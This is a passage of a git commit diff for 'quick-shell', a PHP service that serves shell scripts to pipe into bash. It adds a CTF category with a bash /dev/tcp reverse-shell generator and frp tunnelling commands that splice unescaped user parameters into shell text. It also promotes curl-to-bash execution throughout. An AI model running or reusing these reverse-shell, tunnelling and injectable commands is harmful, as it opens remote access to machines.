mirror of
https://github.com/crazywhalecc/quick-shell.git
synced 2026-03-18 04:44:54 +08:00
update to 1.0.0
This commit is contained in:
parent
147c2e3b59
commit
572e0845b1
@ -3,11 +3,10 @@
|
|||||||
"description": "Run Shell Scripts as Fast as Possible",
|
"description": "Run Shell Scripts as Fast as Possible",
|
||||||
"minimum-stability": "stable",
|
"minimum-stability": "stable",
|
||||||
"license": "Apache-2.0",
|
"license": "Apache-2.0",
|
||||||
"version": "1.0.0",
|
|
||||||
"type": "project",
|
"type": "project",
|
||||||
"prefer-stable": true,
|
"prefer-stable": true,
|
||||||
"require": {
|
"require": {
|
||||||
"php": ">=7.4",
|
"php": ">=8.0",
|
||||||
"zhamao/framework": "^2.4",
|
"zhamao/framework": "^2.4",
|
||||||
"ext-json": "*"
|
"ext-json": "*"
|
||||||
},
|
},
|
||||||
|
|||||||
@ -4,6 +4,8 @@
|
|||||||
|
|
||||||
declare(strict_types=1);
|
declare(strict_types=1);
|
||||||
|
|
||||||
|
$config = [];
|
||||||
|
|
||||||
/* bind host */
|
/* bind host */
|
||||||
$config['host'] = '127.0.0.1';
|
$config['host'] = '127.0.0.1';
|
||||||
|
|
||||||
@ -11,7 +13,7 @@ $config['host'] = '127.0.0.1';
|
|||||||
$config['port'] = 30001;
|
$config['port'] = 30001;
|
||||||
|
|
||||||
/* 框架开到公网或外部的HTTP访问链接,通过 DataProvider::getFrameworkLink() 获取 */
|
/* 框架开到公网或外部的HTTP访问链接,通过 DataProvider::getFrameworkLink() 获取 */
|
||||||
$config['http_reverse_link'] = 'http://shell.zhamao.xin/';
|
$config['http_reverse_link'] = 'http://shell.zhamao.xin';
|
||||||
|
|
||||||
/* 框架是否启动debug模式,当debug模式为true时,启用热更新(需要安装inotify扩展) */
|
/* 框架是否启动debug模式,当debug模式为true时,启用热更新(需要安装inotify扩展) */
|
||||||
$config['debug_mode'] = false;
|
$config['debug_mode'] = false;
|
||||||
@ -28,7 +30,7 @@ $config['crash_dir'] = $config['zm_data'] . 'crash/';
|
|||||||
/* 对应swoole的server->set参数 */
|
/* 对应swoole的server->set参数 */
|
||||||
$config['swoole'] = [
|
$config['swoole'] = [
|
||||||
'log_file' => $config['crash_dir'] . 'swoole_error.log',
|
'log_file' => $config['crash_dir'] . 'swoole_error.log',
|
||||||
// 'worker_num' => swoole_cpu_num(), //如果你只有一个 OneBot 实例连接到框架并且代码没有复杂的CPU密集计算,则可把这里改为1使用全局变量
|
'worker_num' => 1, //如果你只有一个 OneBot 实例连接到框架并且代码没有复杂的CPU密集计算,则可把这里改为1使用全局变量
|
||||||
'dispatch_mode' => 2, // 包分配原则,见 https://wiki.swoole.com/#/server/setting?id=dispatch_mode
|
'dispatch_mode' => 2, // 包分配原则,见 https://wiki.swoole.com/#/server/setting?id=dispatch_mode
|
||||||
'max_coroutine' => 300000,
|
'max_coroutine' => 300000,
|
||||||
'max_wait_time' => 5,
|
'max_wait_time' => 5,
|
||||||
|
|||||||
43
src/QuickShell/Annotations/Command.php
Normal file
43
src/QuickShell/Annotations/Command.php
Normal file
@ -0,0 +1,43 @@
|
|||||||
|
<?php /** @noinspection PhpLanguageLevelInspection */
|
||||||
|
|
||||||
|
namespace QuickShell\Annotations;
|
||||||
|
|
||||||
|
use Attribute;
|
||||||
|
use Doctrine\Common\Annotations\Annotation\NamedArgumentConstructor;
|
||||||
|
use Doctrine\Common\Annotations\Annotation\Required;
|
||||||
|
use Doctrine\Common\Annotations\Annotation\Target;
|
||||||
|
use ZM\Annotation\AnnotationBase;
|
||||||
|
use ZM\Annotation\Interfaces\CustomAnnotation;
|
||||||
|
use ZM\Annotation\Interfaces\Level;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @Annotation
|
||||||
|
* @Target("ALL")
|
||||||
|
* @NamedArgumentConstructor()
|
||||||
|
*/
|
||||||
|
#[Attribute(Attribute::TARGET_ALL | Attribute::IS_REPEATABLE)]
|
||||||
|
class Command extends AnnotationBase implements CustomAnnotation
|
||||||
|
{
|
||||||
|
/**
|
||||||
|
* @var string
|
||||||
|
* @Required()
|
||||||
|
*/
|
||||||
|
public string $name;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @var string
|
||||||
|
*/
|
||||||
|
public string $description = '';
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @var string
|
||||||
|
*/
|
||||||
|
public string $alias = '';
|
||||||
|
|
||||||
|
public function __construct(string $name, string $description = '', string $alias = '')
|
||||||
|
{
|
||||||
|
$this->name = $name;
|
||||||
|
$this->description = $description;
|
||||||
|
$this->alias = $alias;
|
||||||
|
}
|
||||||
|
}
|
||||||
46
src/QuickShell/Annotations/CommandArgument.php
Normal file
46
src/QuickShell/Annotations/CommandArgument.php
Normal file
@ -0,0 +1,46 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace QuickShell\Annotations;
|
||||||
|
|
||||||
|
use Attribute;
|
||||||
|
use Doctrine\Common\Annotations\Annotation\NamedArgumentConstructor;
|
||||||
|
use ZM\Annotation\AnnotationBase;
|
||||||
|
use ZM\Annotation\Interfaces\CustomAnnotation;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @Annotation
|
||||||
|
* @Target("METHOD")
|
||||||
|
* @NamedArgumentConstructor()
|
||||||
|
*/
|
||||||
|
#[Attribute(Attribute::IS_REPEATABLE | Attribute::TARGET_METHOD)]
|
||||||
|
class CommandArgument extends AnnotationBase implements CustomAnnotation
|
||||||
|
{
|
||||||
|
/**
|
||||||
|
* @var string
|
||||||
|
* @Required()
|
||||||
|
*/
|
||||||
|
public string $argument_name;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @var string
|
||||||
|
*/
|
||||||
|
public string $description = '';
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @var bool
|
||||||
|
*/
|
||||||
|
public bool $one_argument = false;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @var bool
|
||||||
|
*/
|
||||||
|
public bool $allow_empty = false;
|
||||||
|
|
||||||
|
public function __construct(string $argument_name, string $description = '', bool $one_argument = false, bool $allow_empty = false)
|
||||||
|
{
|
||||||
|
$this->argument_name = $argument_name;
|
||||||
|
$this->description = $description;
|
||||||
|
$this->one_argument = $one_argument;
|
||||||
|
$this->allow_empty = $allow_empty;
|
||||||
|
}
|
||||||
|
}
|
||||||
34
src/QuickShell/Annotations/CommandCategory.php
Normal file
34
src/QuickShell/Annotations/CommandCategory.php
Normal file
@ -0,0 +1,34 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace QuickShell\Annotations;
|
||||||
|
|
||||||
|
use Attribute;
|
||||||
|
use Doctrine\Common\Annotations\Annotation\NamedArgumentConstructor;
|
||||||
|
use Doctrine\Common\Annotations\Annotation\Required;
|
||||||
|
use Doctrine\Common\Annotations\Annotation\Target;
|
||||||
|
use ZM\Annotation\AnnotationBase;
|
||||||
|
use ZM\Annotation\Interfaces\CustomAnnotation;
|
||||||
|
use ZM\Annotation\Interfaces\ErgodicAnnotation;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @Annotation
|
||||||
|
* @Target("CLASS")
|
||||||
|
* @NamedArgumentConstructor()
|
||||||
|
*/
|
||||||
|
#[Attribute(Attribute::IS_REPEATABLE | Attribute::TARGET_CLASS)]
|
||||||
|
class CommandCategory extends AnnotationBase implements CustomAnnotation, ErgodicAnnotation
|
||||||
|
{
|
||||||
|
/**
|
||||||
|
* @var string
|
||||||
|
* @Required()
|
||||||
|
*/
|
||||||
|
public string $category;
|
||||||
|
|
||||||
|
public string $description = '';
|
||||||
|
|
||||||
|
public function __construct(string $category, string $description = '')
|
||||||
|
{
|
||||||
|
$this->category = $category;
|
||||||
|
$this->description = $description;
|
||||||
|
}
|
||||||
|
}
|
||||||
41
src/QuickShell/Annotations/CommandOption.php
Normal file
41
src/QuickShell/Annotations/CommandOption.php
Normal file
@ -0,0 +1,41 @@
|
|||||||
|
<?php /** @noinspection PhpLanguageLevelInspection */
|
||||||
|
|
||||||
|
namespace QuickShell\Annotations;
|
||||||
|
|
||||||
|
use Attribute;
|
||||||
|
use Doctrine\Common\Annotations\Annotation\NamedArgumentConstructor;
|
||||||
|
use Doctrine\Common\Annotations\Annotation\Target;
|
||||||
|
use ZM\Annotation\AnnotationBase;
|
||||||
|
use ZM\Annotation\Interfaces\CustomAnnotation;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @Annotation
|
||||||
|
* @Target("METHOD")
|
||||||
|
* @NamedArgumentConstructor()
|
||||||
|
*/
|
||||||
|
#[Attribute(Attribute::TARGET_METHOD | Attribute::IS_REPEATABLE)]
|
||||||
|
class CommandOption extends AnnotationBase implements CustomAnnotation
|
||||||
|
{
|
||||||
|
/**
|
||||||
|
* @var string
|
||||||
|
* @Required()
|
||||||
|
*/
|
||||||
|
public string $option_name;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @var string
|
||||||
|
*/
|
||||||
|
public string $description = '';
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @var bool
|
||||||
|
*/
|
||||||
|
public bool $required = false;
|
||||||
|
|
||||||
|
public function __construct(string $option_name, string $description = '', bool $required = false)
|
||||||
|
{
|
||||||
|
$this->option_name = $option_name;
|
||||||
|
$this->description = $description;
|
||||||
|
$this->required = $required;
|
||||||
|
}
|
||||||
|
}
|
||||||
111
src/QuickShell/Commands/CTFCommand.php
Normal file
111
src/QuickShell/Commands/CTFCommand.php
Normal file
@ -0,0 +1,111 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace QuickShell\Commands;
|
||||||
|
|
||||||
|
use QuickShell\Annotations\Command;
|
||||||
|
use QuickShell\Annotations\CommandArgument;
|
||||||
|
use QuickShell\Annotations\CommandCategory;
|
||||||
|
use QuickShell\Annotations\CommandOption;
|
||||||
|
|
||||||
|
#[CommandCategory('ctf', 'CTF工具库')]
|
||||||
|
class CTFCommand
|
||||||
|
{
|
||||||
|
#[Command(name: 'reverse_shell', description: '使用bash反弹shell,提供一个目标的IP和TCP端口即可', alias: 'revshell')]
|
||||||
|
#[CommandArgument(argument_name: 'ip', description: '目标IP')]
|
||||||
|
#[CommandArgument(argument_name: 'port', description: '目标端口')]
|
||||||
|
public function reverseShell(array $params)
|
||||||
|
{
|
||||||
|
return cmd('bash -i >& /dev/tcp/' . escapeshellarg($params['ip']) . '/' . intval($params['port']) . ' 0>&1 || { echo -e "\033[31mConnection failed, please check target listen port accessibility\033[0m "; false; }');
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Command(name: 'frpc', description: '快速使用frpc代理一个内网穿透一个端口,提供一个目标的IP和TCP端口即可')]
|
||||||
|
#[CommandArgument(argument_name: 'remote_addr', description: 'frps的服务器IP:端口')]
|
||||||
|
#[CommandArgument(argument_name: 'local_ip', description: '本地监听IP')]
|
||||||
|
#[CommandArgument(argument_name: 'local_port', description: '本地监听端口')]
|
||||||
|
#[CommandArgument(argument_name: 'remote_port', description: '目标端口')]
|
||||||
|
#[CommandOption(option_name: 'type', description: '链接类型(tcp或udp)', required: true)]
|
||||||
|
#[CommandOption(option_name: 'token', description: 'frps连接的token', required: true)]
|
||||||
|
public function frpc(array $params): string
|
||||||
|
{
|
||||||
|
$cmd = <<<CMD
|
||||||
|
case \$(uname -s) in
|
||||||
|
Linux) mysys="linux" ;;
|
||||||
|
Darwin) mysys="darwin" ;;
|
||||||
|
*)
|
||||||
|
echo "Unsupported OS"
|
||||||
|
exit 1
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
case \$(uname -m) in
|
||||||
|
x86_64) myarch=amd64 ;;
|
||||||
|
aarch64) myarch=arm64 ;;
|
||||||
|
*)
|
||||||
|
echo "Unsupported arch"
|
||||||
|
exit 1
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
if [ ! -f "/tmp/.qs_frpc" ]; then
|
||||||
|
echo "sys: \$mysys"
|
||||||
|
link="https://hub.fastgit.xyz/fatedier/frp/releases/download/v0.43.0/frp_0.43.0_\${mysys}_\${myarch}.tar.gz"
|
||||||
|
echo "Downloading frp from \$link"
|
||||||
|
curl \$link -o /tmp/frp.tgz -L && \
|
||||||
|
cd /tmp && \
|
||||||
|
tar -xzvf frp.tgz && \
|
||||||
|
rm frp.tgz && \
|
||||||
|
mv frp_0.43.0_\${mysys}_\${myarch}/frpc .qs_frpc && \
|
||||||
|
rm -rf frp_0.43.0_\${mysys}_\${myarch}
|
||||||
|
fi
|
||||||
|
/tmp/.qs_frpc {use_type} -r {remote_port} -i {local_ip} -l {local_port} -s {remote_addr} {use_token}
|
||||||
|
CMD;
|
||||||
|
$cmd = str_replace('{use_type}', $params['type'] === null ? 'tcp' : 'udp', $cmd);
|
||||||
|
$cmd = str_replace('{remote_addr}', $params['remote_addr'], $cmd);
|
||||||
|
$cmd = str_replace('{local_ip}', $params['local_ip'], $cmd);
|
||||||
|
$cmd = str_replace('{local_port}', $params['local_port'], $cmd);
|
||||||
|
$cmd = str_replace('{remote_port}', $params['remote_port'], $cmd);
|
||||||
|
$cmd = str_replace('{use_token}', $params['token'] ? '-t ' . $params['token'] : '', $cmd);
|
||||||
|
return cmd($cmd);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Command(name: 'frps', description: '快速启动一个frps内网穿透服务器')]
|
||||||
|
#[CommandOption(option_name: 'bind_addr', description: 'frps的服务器监听的地址', required: true)]
|
||||||
|
#[CommandOption(option_name: 'bind_port', description: 'frps的服务器监听的端口', required: true)]
|
||||||
|
#[CommandOption(option_name: 'token', description: 'frps连接的token', required: true)]
|
||||||
|
public function frps(array $params)
|
||||||
|
{
|
||||||
|
$cmd = <<<CMD
|
||||||
|
case \$(uname -s) in
|
||||||
|
Linux) mysys="linux" ;;
|
||||||
|
Darwin) mysys="darwin" ;;
|
||||||
|
*)
|
||||||
|
echo "Unsupported OS"
|
||||||
|
exit 1
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
case \$(uname -m) in
|
||||||
|
x86_64) myarch=amd64 ;;
|
||||||
|
aarch64) myarch=arm64 ;;
|
||||||
|
*)
|
||||||
|
echo "Unsupported arch"
|
||||||
|
exit 1
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
if [ ! -f "/tmp/.qs_frps" ]; then
|
||||||
|
echo "sys: \$mysys"
|
||||||
|
link="https://hub.fastgit.xyz/fatedier/frp/releases/download/v0.43.0/frp_0.43.0_\${mysys}_\${myarch}.tar.gz"
|
||||||
|
echo "Downloading frp from \$link"
|
||||||
|
curl \$link -o /tmp/frp.tgz -L && \
|
||||||
|
cd /tmp && \
|
||||||
|
tar -xzvf frp.tgz && \
|
||||||
|
rm frp.tgz && \
|
||||||
|
mv frp_0.43.0_\${mysys}_\${myarch}/frps .qs_frps && \
|
||||||
|
rm -rf frp_0.43.0_\${mysys}_\${myarch}
|
||||||
|
fi
|
||||||
|
/tmp/.qs_frps {use_bind_addr} {use_bind_port} {use_token}
|
||||||
|
CMD;
|
||||||
|
$cmd = str_replace('{use_bind_addr}', $params['bind_addr'], $cmd);
|
||||||
|
$cmd = str_replace('{use_bind_addr}', $params['bind_addr'] !== null ? ('--bind-addr ' . $params['bind_addr']) : '', $cmd);
|
||||||
|
$cmd = str_replace('{use_bind_port}', $params['bind_port'] !== null ? ('-p ' . $params['bind_port']) : '', $cmd);
|
||||||
|
$cmd = str_replace('{use_token}', $params['token'] !== null ? ('-t ' . $params['token']) : '', $cmd);
|
||||||
|
return cmd($cmd);
|
||||||
|
}
|
||||||
|
}
|
||||||
20
src/QuickShell/Commands/ExampleCommand.php
Normal file
20
src/QuickShell/Commands/ExampleCommand.php
Normal file
@ -0,0 +1,20 @@
|
|||||||
|
<?php /** @noinspection PhpPureAttributeCanBeAddedInspection */
|
||||||
|
|
||||||
|
namespace QuickShell\Commands;
|
||||||
|
|
||||||
|
use QuickShell\Annotations\Command;
|
||||||
|
|
||||||
|
class ExampleCommand
|
||||||
|
{
|
||||||
|
#[Command(name: 'neofetch', description: '在线运行neofetch')]
|
||||||
|
public function neofetch(): string
|
||||||
|
{
|
||||||
|
return cmd("bash <(curl -H \"User-Agent: Chrome\" -s https://gitee.com/mirrors/neofetch/raw/master/neofetch)");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Command('ip', '获取IP', '地址')]
|
||||||
|
public function ip(): string
|
||||||
|
{
|
||||||
|
return cmd("curl -s http://ip.zhamao.xin");
|
||||||
|
}
|
||||||
|
}
|
||||||
78
src/QuickShell/Commands/HelpCommand.php
Normal file
78
src/QuickShell/Commands/HelpCommand.php
Normal file
@ -0,0 +1,78 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace QuickShell\Commands;
|
||||||
|
|
||||||
|
use QuickShell\Annotations\Command;
|
||||||
|
use QuickShell\Annotations\CommandArgument;
|
||||||
|
use QuickShell\QuickShellProvider;
|
||||||
|
use ReflectionClass;
|
||||||
|
use ReflectionException;
|
||||||
|
use ZM\Config\ZMConfig;
|
||||||
|
use ZM\Console\Console;
|
||||||
|
|
||||||
|
class HelpCommand
|
||||||
|
{
|
||||||
|
public static function getHelpTemplate(): string
|
||||||
|
{
|
||||||
|
$response = "QuickShell ".Console::setColor(QUICK_SHELL_VERSION, 'green')."\n\n";
|
||||||
|
$response .= "支持的命令:\n";
|
||||||
|
$response .= "\t" . implode("\n\t", QuickShellProvider::getInstance()->getShellList());
|
||||||
|
$response .= "\n\n\t" . Console::setColor('help/{命令名}', "yellow") . ":\t查看对应的命令详情";
|
||||||
|
$response .= "\n使用方法:\n\t在路径右方填入要使用的名称即可.";
|
||||||
|
$response .= "\n\t输入右侧命令\tbash <(curl -s " . ZMConfig::get('global')['http_reverse_link'] . "/{name})";
|
||||||
|
$response .= "\n\t使用例子\tbash <(curl -s " . ZMConfig::get('global')['http_reverse_link'] . "/neofetch)";
|
||||||
|
return $response;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @throws ReflectionException
|
||||||
|
*/
|
||||||
|
#[Command('help', '查看帮助', alias: 'h')]
|
||||||
|
#[CommandArgument('command', description: '查看指定命令的帮助信息', one_argument: true, allow_empty: true)]
|
||||||
|
public function defaultCommand(array $params): string
|
||||||
|
{
|
||||||
|
zm_dump(QuickShellProvider::$shells);
|
||||||
|
$name = trim($params['command'], '/');
|
||||||
|
if ($name === '') {
|
||||||
|
return rawtext(self::getHelpTemplate());
|
||||||
|
}
|
||||||
|
if (isset(QuickShellProvider::$shells[$name])) {
|
||||||
|
$event = QuickShellProvider::$shells[$name]['command'];
|
||||||
|
$reflection = new ReflectionClass($event->class);
|
||||||
|
$method = $reflection->getMethod($event->method);
|
||||||
|
$cmd = $method->getNumberOfRequiredParameters() === 0 ? $method->invoke($reflection->newInstance()) : '(* 此命令需要参数,如需查看源码,使用/showcode/'.$name.' *)';
|
||||||
|
$reply = Console::setColor($event->name, 'green') . ":";
|
||||||
|
$reply .= "\n\t要执行的命令:\t" . $cmd;
|
||||||
|
return rawtext($reply);
|
||||||
|
}
|
||||||
|
return rawtext('命令不存在: ' . $name);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @throws ReflectionException
|
||||||
|
*/
|
||||||
|
#[Command('showcode')]
|
||||||
|
#[CommandArgument('command', description: '查看指定命令的源码', one_argument: true, allow_empty: true)]
|
||||||
|
public function helpCommandCode(array $params): string
|
||||||
|
{
|
||||||
|
zm_dump(QuickShellProvider::$shells);
|
||||||
|
$name = trim($params['command'], '/');
|
||||||
|
if ($name === '') {
|
||||||
|
return rawtext('请在后方输入命令名称再试!');
|
||||||
|
}
|
||||||
|
if (isset(QuickShellProvider::$shells[$name])) {
|
||||||
|
$event = QuickShellProvider::$shells[$name]['command'];
|
||||||
|
$reflection = new ReflectionClass($event->class);
|
||||||
|
$method = $reflection->getMethod($event->method);
|
||||||
|
$file = file_get_contents($method->getFileName());
|
||||||
|
$file = str_replace("\r", '', $file);
|
||||||
|
$file = explode("\n", $file);
|
||||||
|
$fileline = [];
|
||||||
|
for ($i = $method->getStartLine() - 1; $i < $method->getEndLine(); $i++) {
|
||||||
|
$fileline[] = $file[$i];
|
||||||
|
}
|
||||||
|
return rawtext(implode("\n", $fileline), false);
|
||||||
|
}
|
||||||
|
return rawtext('命令不存在: ' . $name);
|
||||||
|
}
|
||||||
|
}
|
||||||
38
src/QuickShell/Commands/SpeedtestCommand.php
Normal file
38
src/QuickShell/Commands/SpeedtestCommand.php
Normal file
@ -0,0 +1,38 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace QuickShell\Commands;
|
||||||
|
|
||||||
|
use QuickShell\Annotations\Command;
|
||||||
|
|
||||||
|
class SpeedtestCommand
|
||||||
|
{
|
||||||
|
#[Command(name: 'speedtest', description: '在线运行ookla/speedtest网速测试')]
|
||||||
|
public function speedtest(): string
|
||||||
|
{
|
||||||
|
$cmd = <<<CMD
|
||||||
|
case \$(uname -s) in
|
||||||
|
Linux) mysys="linux" ;;
|
||||||
|
Darwin) mysys="macosx" ;;
|
||||||
|
*)
|
||||||
|
echo "Unsupported OS"
|
||||||
|
exit 1
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
myarch=\$(uname -m)
|
||||||
|
if [ "\$mysys" = "macosx" ]; then
|
||||||
|
myarch="x86_64"
|
||||||
|
fi
|
||||||
|
if [ ! -f "/tmp/.qs_speedtest" ]; then
|
||||||
|
link="https://install.speedtest.net/app/cli/ookla-speedtest-1.1.1-\${mysys}-\${myarch}.tgz"
|
||||||
|
echo "Downloading frp from \$link"
|
||||||
|
curl \$link -o /tmp/speedtest.tgz -L && \
|
||||||
|
cd /tmp && \
|
||||||
|
tar -xzvf speedtest.tgz && \
|
||||||
|
rm speedtest.tgz && \
|
||||||
|
mv speedtest .qs_speedtest
|
||||||
|
fi
|
||||||
|
/tmp/.qs_speedtest
|
||||||
|
CMD;
|
||||||
|
return cmd($cmd);
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -2,77 +2,39 @@
|
|||||||
|
|
||||||
namespace QuickShell;
|
namespace QuickShell;
|
||||||
|
|
||||||
use ZM\Annotation\Http\Controller;
|
use QuickShell\Annotations\Command;
|
||||||
use ZM\Annotation\Http\RequestMapping;
|
use Swoole\Http\Request;
|
||||||
use ZM\Annotation\Swoole\OnRequestEvent;
|
use ZM\Annotation\Swoole\OnRequestEvent;
|
||||||
use ZM\Config\ZMConfig;
|
use ZM\Annotation\Swoole\OnStart;
|
||||||
use ZM\Event\EventDispatcher;
|
use ZM\Event\EventDispatcher;
|
||||||
use ZM\Exception\InterruptException;
|
use ZM\Exception\InterruptException;
|
||||||
|
|
||||||
/**
|
|
||||||
* @Controller("/")
|
|
||||||
*/
|
|
||||||
class QuickShellController
|
class QuickShellController
|
||||||
{
|
{
|
||||||
/**
|
#[OnStart(-1)]
|
||||||
* @RequestMapping("/manifest")
|
public function onStart()
|
||||||
*/
|
|
||||||
public function manifest()
|
|
||||||
{
|
{
|
||||||
return json_encode(ZMConfig::get('shell_list'), 128|256);
|
// 启动后的预处理
|
||||||
|
QuickShellProvider::getInstance()->generateCommandList();
|
||||||
|
}
|
||||||
|
|
||||||
|
#[OnRequestEvent(rule: "true")]
|
||||||
|
public function onRequest(Request $request)
|
||||||
|
{
|
||||||
|
// 寻找匹配的Command注解函数
|
||||||
|
list($cmd, $params) = QuickShellProvider::getInstance()->matchCommand($request->server['request_uri'], ctx()->getRequest()->get ?? []);
|
||||||
|
|
||||||
|
/** @var Command $cmd */
|
||||||
|
$dispatcher = new EventDispatcher(Command::class);
|
||||||
|
$dispatcher->dispatchEvent($cmd, null, $params);
|
||||||
|
ctx()->getResponse()->end($dispatcher->store ?? '');
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @RequestMapping("/")
|
|
||||||
* @RequestMapping("/index")
|
|
||||||
* @RequestMapping("/list")
|
|
||||||
*/
|
|
||||||
public function index()
|
|
||||||
{
|
|
||||||
$response = implode("\n", QuickShellProvider::getInstance()->getShellList()) . PHP_EOL;
|
|
||||||
$response .= "普通执行:\tcurl -s http://shell.zhamao.xin/run/{name} | bash" . PHP_EOL;
|
|
||||||
$response .= "交互执行:\tbash <(curl -s http://shell.zhamao.xin/run/{name})" . PHP_EOL;
|
|
||||||
return $response;
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @RequestMapping("/test")
|
|
||||||
* @return string
|
|
||||||
*/
|
|
||||||
public function test()
|
|
||||||
{
|
|
||||||
return cmd('bash -c "$(curl -fsSL https://api.zhamao.xin/tools/env.sh)"');
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @RequestMapping("/run")
|
|
||||||
*/
|
|
||||||
public function runHelp()
|
|
||||||
{
|
|
||||||
return cmd('echo ""');
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @RequestMapping("/run/{name}")
|
|
||||||
*
|
|
||||||
* @param $param
|
|
||||||
* @return string
|
|
||||||
*/
|
|
||||||
public function run($param): string
|
|
||||||
{
|
|
||||||
$shell = QuickShellProvider::getInstance()->isShellExists($param['name']);
|
|
||||||
if (!$shell) {
|
|
||||||
return cmd("echo 'shell \"".$param['name']."\" not found'");
|
|
||||||
}
|
|
||||||
return cmd(QuickShellProvider::getInstance()->getShellCommand($param['name']));
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 阻止 Chrome 自动请求 /favicon.ico 导致的多条请求并发和干扰
|
|
||||||
* @OnRequestEvent(rule="ctx()->getRequest()->server['request_uri'] == '/favicon.ico'",level=200)
|
|
||||||
* @throws InterruptException
|
* @throws InterruptException
|
||||||
*/
|
*/
|
||||||
public function onRequest()
|
#[OnRequestEvent(rule: "ctx()->getRequest()->server['request_uri'] === '/favicon.ico'", level: 200)]
|
||||||
|
public function onBanFavicon()
|
||||||
{
|
{
|
||||||
EventDispatcher::interrupt();
|
EventDispatcher::interrupt();
|
||||||
}
|
}
|
||||||
|
|||||||
@ -2,34 +2,192 @@
|
|||||||
|
|
||||||
namespace QuickShell;
|
namespace QuickShell;
|
||||||
|
|
||||||
use ZM\Config\ZMConfig;
|
use QuickShell\Annotations\Command;
|
||||||
|
use QuickShell\Annotations\CommandArgument;
|
||||||
|
use QuickShell\Annotations\CommandCategory;
|
||||||
|
use QuickShell\Annotations\CommandOption;
|
||||||
|
use QuickShell\Commands\HelpCommand;
|
||||||
use ZM\Console\Console;
|
use ZM\Console\Console;
|
||||||
|
use ZM\Event\EventDispatcher;
|
||||||
|
use ZM\Event\EventManager;
|
||||||
|
use ZM\Event\EventMapIterator;
|
||||||
|
use ZM\Exception\InterruptException;
|
||||||
use ZM\Utils\SingletonTrait;
|
use ZM\Utils\SingletonTrait;
|
||||||
|
|
||||||
class QuickShellProvider
|
class QuickShellProvider
|
||||||
{
|
{
|
||||||
use SingletonTrait;
|
use SingletonTrait;
|
||||||
|
|
||||||
|
const RESERVED_COMMANDS = ['help'];
|
||||||
|
|
||||||
|
public static array $shells = [];
|
||||||
|
|
||||||
|
public static array $shell_alias = [];
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 返回所有命令的帮助列表
|
||||||
|
* @return array
|
||||||
|
*/
|
||||||
public function getShellList(): array
|
public function getShellList(): array
|
||||||
{
|
{
|
||||||
$ls = [];
|
$ls = [];
|
||||||
foreach (ZMConfig::get('shell_list') as $shell_name => $shell_class) {
|
$max_len = 0;
|
||||||
$ls[] = Console::setColor($shell_name, 'green') . ":\t" . $shell_class['description'];
|
foreach (self::$shells as $shell => $v) {
|
||||||
|
$line = Console::setColor($shell, 'green') . ": ";
|
||||||
|
if ($max_len < mb_strwidth($shell . ": ")) $max_len = mb_strwidth($shell . ": ");
|
||||||
|
$description = $v['command']->description ?: '暂无描述';
|
||||||
|
$len = mb_strwidth($shell . ": ");
|
||||||
|
$ls[] = [$line, $len, $description];
|
||||||
}
|
}
|
||||||
return $ls;
|
foreach ($ls as $k => $v) {
|
||||||
|
$ls[$k][0] = $v[0] . str_repeat(' ', $max_len - $v[1]);
|
||||||
|
}
|
||||||
|
|
||||||
|
return array_map(function ($x) {
|
||||||
|
return $x[0] . $x[2];
|
||||||
|
}, $ls);
|
||||||
}
|
}
|
||||||
|
|
||||||
public function isShellExists($name)
|
/**
|
||||||
|
* 输入uri,输出匹配的command注解事件
|
||||||
|
* @param string $uri
|
||||||
|
* @param array $get
|
||||||
|
* @return array
|
||||||
|
* @throws InterruptException
|
||||||
|
*/
|
||||||
|
public function matchCommand(string $uri, array $get): array
|
||||||
{
|
{
|
||||||
return array_key_exists($name, ZMConfig::get('shell_list'));
|
$has_right_slash = mb_substr($uri, -1, 1) === '/';
|
||||||
|
// 去除两端的斜杠
|
||||||
|
$origin_uri = $uri = trim($uri, '/');
|
||||||
|
$input_params = $get;
|
||||||
|
$cmd = null;
|
||||||
|
|
||||||
|
foreach (self::$shells as $k => $v) {
|
||||||
|
if (mb_strpos($uri . '/', $k . '/') === 0) { // 右侧加盖防止匹配到短名称误匹配
|
||||||
|
$cmd = $k;
|
||||||
|
$uri = trim(mb_substr($uri, mb_strlen($cmd)), '/');
|
||||||
|
break;
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
foreach (self::$shell_alias as $k => $v) {
|
||||||
|
if (mb_strpos($uri . '/', $k . '/') === 0) { // 右侧加盖防止匹配到短名称误匹配
|
||||||
|
$cmd = $v;
|
||||||
|
$uri = trim(mb_substr($uri, mb_strlen($k)), '/');
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($cmd !== null) {
|
||||||
|
// 接下来解析参数
|
||||||
|
$args = [];
|
||||||
|
foreach (self::$shells[$cmd]['arguments'] as $arg) {
|
